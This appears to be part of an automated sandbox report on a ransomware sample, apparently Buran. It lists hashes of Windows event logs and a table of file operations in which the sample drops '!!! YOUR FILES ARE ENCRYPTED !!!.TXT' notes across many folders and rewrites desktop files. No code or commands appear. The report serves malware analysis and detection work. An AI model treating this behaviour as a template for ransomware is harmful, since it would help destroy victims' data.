SHA256: 57d1b7f2ff59312da2a0f607611e292ce2825fc5281fbde4776f467f93a953fe
SSDeep: 1536:xjFnpHHk2AX7+wCyqwHw1CfVhIlw2C7fI36fu:xj9pHHkyybQMfVm+Je 		False
...
C:\Logs\Microsoft-Windows-AppxPackaging%4Operational.evtx 68.00 KB MD5: a98f8b670da2cf2a84726fe8e8d72ae4
SHA1: e6dee1accff693a3bd6ec9c29bf24004c5756058
SHA256: d1480583b6c4b493f4d5fc7b9c85c115e893afb639473c4847aa74984ab4a352
SSDeep: 384:VhM6FDIjFksFkkFkkFkAFk4Fk8FkIFkwFkQFkMFkIFkwFkgFkEFkUFkkFkAFkgF4:VFI2LjjfXbnPvrnP/DTjf/f7rXbb/b 		False
...
C:\Logs\Microsoft-Windows-AppxPackaging%4Operational.evtx 69.47 KB MD5: ff67a11475494f4d2481a44681c6997f
SHA1: 72e14261e8e12907abef137e8e1da9b950ee4e61
SHA256: cde029507eef26f4c39148ece3c7d9c26b4efa3cb1eff2c30d889b7cb74b9803
SSDeep: 1536:Kasuf+iRlrpm4cL57tXNXv0P4gc4hkhb1tEVgL5u:KasumEhpmtL55dGPc4OHEVIw 		False
...
C:\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx 68.00 KB MD5: 97268b2ef398158044cb001b6851f447
SHA1: 1ec9b3b0bb1aff253c10854196ab2784fc0f80be
SHA256: 16af22bafaf0905d333cb1d07e35208e3dfa2b212582b1a747c83dd986f3e277
SSDeep: 96:cdRNVaO8FoUy66eKmDfyPSy66oyP+Guy66rN9:SV7yjeQjDGujo 		False
...
C:\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx 69.47 KB MD5: b34c829eccf2595606dd89b3f5551b53
SHA1: 923aefba82a73c22012c60f18308b19351788dbc
SHA256: d4591ee876f22d0cf79e4995d971c27959befec0a04d864b3d0da9bef45fb673
SSDeep: 1536:8i0f2/0MB/0NRTvifBB1DEIf/WCLf5zx/nCUaZ/WFmBuMSQu:ZsMJ03bifBBZEU/z5N0Z/WFmBuMq 		False
...
C:\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx 68.00 KB MD5: 67e9181932f0b8a2eaee43d4223fbf3f
SHA1: 4008963dcc1f4ff049cc67c41e843a7eedbfed50
SHA256: 265e78297d11a9d3f24cf80bbf8f26771663232e0ec7d40461b3a807cdef6344
SSDeep: 48:Mtr1pW5lf0rP+AQNRBEZWTENO4bnBnzoMS1Y1/MKrelm1Y1Wgv6lI1Y1/twkKkIh:fRNVaO8FoMSGVMKrRGL7G9UD8xGQVD8 		False
...
C:\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx 69.47 KB MD5: d3aaf4b9a6d60d2fdf7f45e66e14c543
SHA1: 68f7e069f34be45ac2dc42047aec05963e77a908
SHA256: a24b566bf2c826bf4e374adf66806c38fdedf683723b389d23bf055a0dee0d43
SSDeep: 1536:tRkDjWdpp90Pd5lCIzV7PoFDDNW9PeOm/Ixb+tMRBl6eB/8ZQPTL/E0Gu:tROCdp/wd5lzVLkDs4Owiagl6sUZQr7p 		False
...
C:\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx 68.00 KB MD5: 9d102384ff361742aa4df9fd1be0b5b5
SHA1: e624897bfbdd1d87f0e0c630c55147db77d47981
SHA256: bef5daac5f811565a8873425b37a7f66e7d286bfe8d870c1f79cdfad58b03dbc
SSDeep: 48:M+x1WOJlerP+MZQNRBEZWTENO4bpBY5oaeSSZDS9kqkp:eKNVaO8OotSoAkqkp 		False
...
C:\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx 69.47 KB MD5: 58bfb99b46169e21ed692ed7c6481811
SHA1: 2641fb2077b09d9b815d60608e917441bc1bccb7
SHA256: 4103fb3b24c4db9f51c1cfc7a4650eb6cdfbba5a7290e3289e61831725b26cff
SSDeep: 1536:1Lq7CGenI8pWtP8MNCCaSWYLzL5mmnkRppu:1LBGenNoiMNzWKVkPg 		False
...
C:\Logs\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx 68.00 KB MD5: 0cabc4dc0cd5862c703dad3d7438ace5
SHA1: 117b7143a1845da1a71a3a2eeb7b4c9d3647d7dc
SHA256: 23214f4c011b5f6dcb97021c4a5656cfba4725258114e599a2286d2b98ed3159
SSDeep: 48:MtSWstlerP+MZQNRBEZWTENO4bpBY5oM2oSGrVSGr1TiclBLSGrVSGr1blXrSGrm:AKNVaO8OoE5V51Wo5V5195V51y5V51 		False
...
C:\Logs\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx 69.47 KB MD5: 76152fe8a82296323d165ef7e89f68f0
SHA1: 6dc9b888a2fe85e4a900343e69f62a84e9dc2773
SHA256: c4770da01f835464e729e2f369339c109a5940a60023b4fdb2fed403013692dd
SSDeep: 1536:QxpWRH4utipJ8S912BOYIzZD+MxFhyVlvY4+FrlYu:QxpmH4utifqvSFhyzYHlH 		False
...
Host Behavior
File (4046)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Users\FD1HVy\AppData\Local\Temp\2766425C.buran desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Users\FD1HVy\Desktop\-IU8WGmE.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\$WINRE_BACKUP_PARTITION.MARKER desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 1
Fn
Create C:\bootmgr desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\BOOTNXT desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\1nAU21n.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 1
Fn
Create C:\Users\FD1HVy\Desktop\1nAU21n.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 2
Fn
Create C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\$GetCurrent\SafeOS\GetCurrentRollback.ini desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\$GetCurrent\SafeOS\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 1
Fn
Create C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 2
Fn
Create C:\588bce7c90097ed212\DHtmlHeader.html desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\DisplayIcon.ico desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\header.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\netfx_Core.mzz desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\netfx_Core_x64.msi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\netfx_Core_x86.msi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\netfx_Extended.mzz desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\netfx_Extended_x64.msi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\Cc1dWs.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\netfx_Extended_x86.msi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\ParameterInfo.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\RGB9RAST_x64.msi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\RGB9Rast_x86.msi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\Eezf.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\SetupUi.xsd desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\SplashScreen.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\he_DSG.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Strings.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\IdcfNSdAI6EpKkJpB.doc desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\UiInfo.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\K2N8lD.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\watermark.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\N5glZ_ot2BPg.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\NVChGlevkoRjEh-4.ppt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\QsFi7A0Ff-4Zif40.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\rqNverwPZv42JV.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 1
Fn
Create C:\Users\FD1HVy\Desktop\rqNverwPZv42JV.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 2
Fn
Create C:\588bce7c90097ed212\1025\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1025\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1025\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\SGkLqISAYkg22NMe.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1028\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1028\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1028\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\T8ss-NNC6a.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1029\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1029\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1029\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\tps2Xi4Z_o.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1030\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1030\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1030\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\Um03CTlTx2.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1031\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1031\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1031\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\UWyo BXoBgCXp.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1032\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1032\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Users\FD1HVy\Desktop\vPNd5r.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1032\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\WngvlI9HhGNFIHt.doc desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1033\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1033\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1033\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\XLMOBIDgt-65GJKBZs.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 1
Fn
Create C:\Users\FD1HVy\Desktop\XLMOBIDgt-65GJKBZs.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 2
Fn
Create C:\588bce7c90097ed212\1035\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1035\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1035\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\yBv.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 1
Fn
Create C:\Users\FD1HVy\Desktop\yBv.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 2
Fn
Create C:\588bce7c90097ed212\1036\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1036\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Users\FD1HVy\Desktop\za7tguGWEH8Un6nT2.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1036\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\LEC y1M\1XiaHqRLQcN.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\LEC y1M\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1037\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1037\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1037\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\LEC y1M\2t6b1Wgb.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 1
Fn
Create C:\Users\FD1HVy\Desktop\LEC y1M\2t6b1Wgb.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 2
Fn
Create C:\588bce7c90097ed212\1038\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1038\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1038\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\LEC y1M\aHlckfoF9Df PJtrnP.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 1
Fn
Create C:\Users\FD1HVy\Desktop\LEC y1M\aHlckfoF9Df PJtrnP.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 2
Fn
Create C:\588bce7c90097ed212\1040\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1040\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1040\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\LEC y1M\Br2U44.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1041\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1041\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1041\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\LEC y1M\GQFmK U7yfly.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1042\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1042\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1042\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\LEC y1M\OOE5fKcEdsHQz8B4.ods desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1043\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1043\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1043\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\FD1HVy\Desktop\LEC y1M\se4L.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1044\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1044\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1044\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1045\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1045\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1045\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1046\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1046\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1046\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1049\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1049\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1049\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
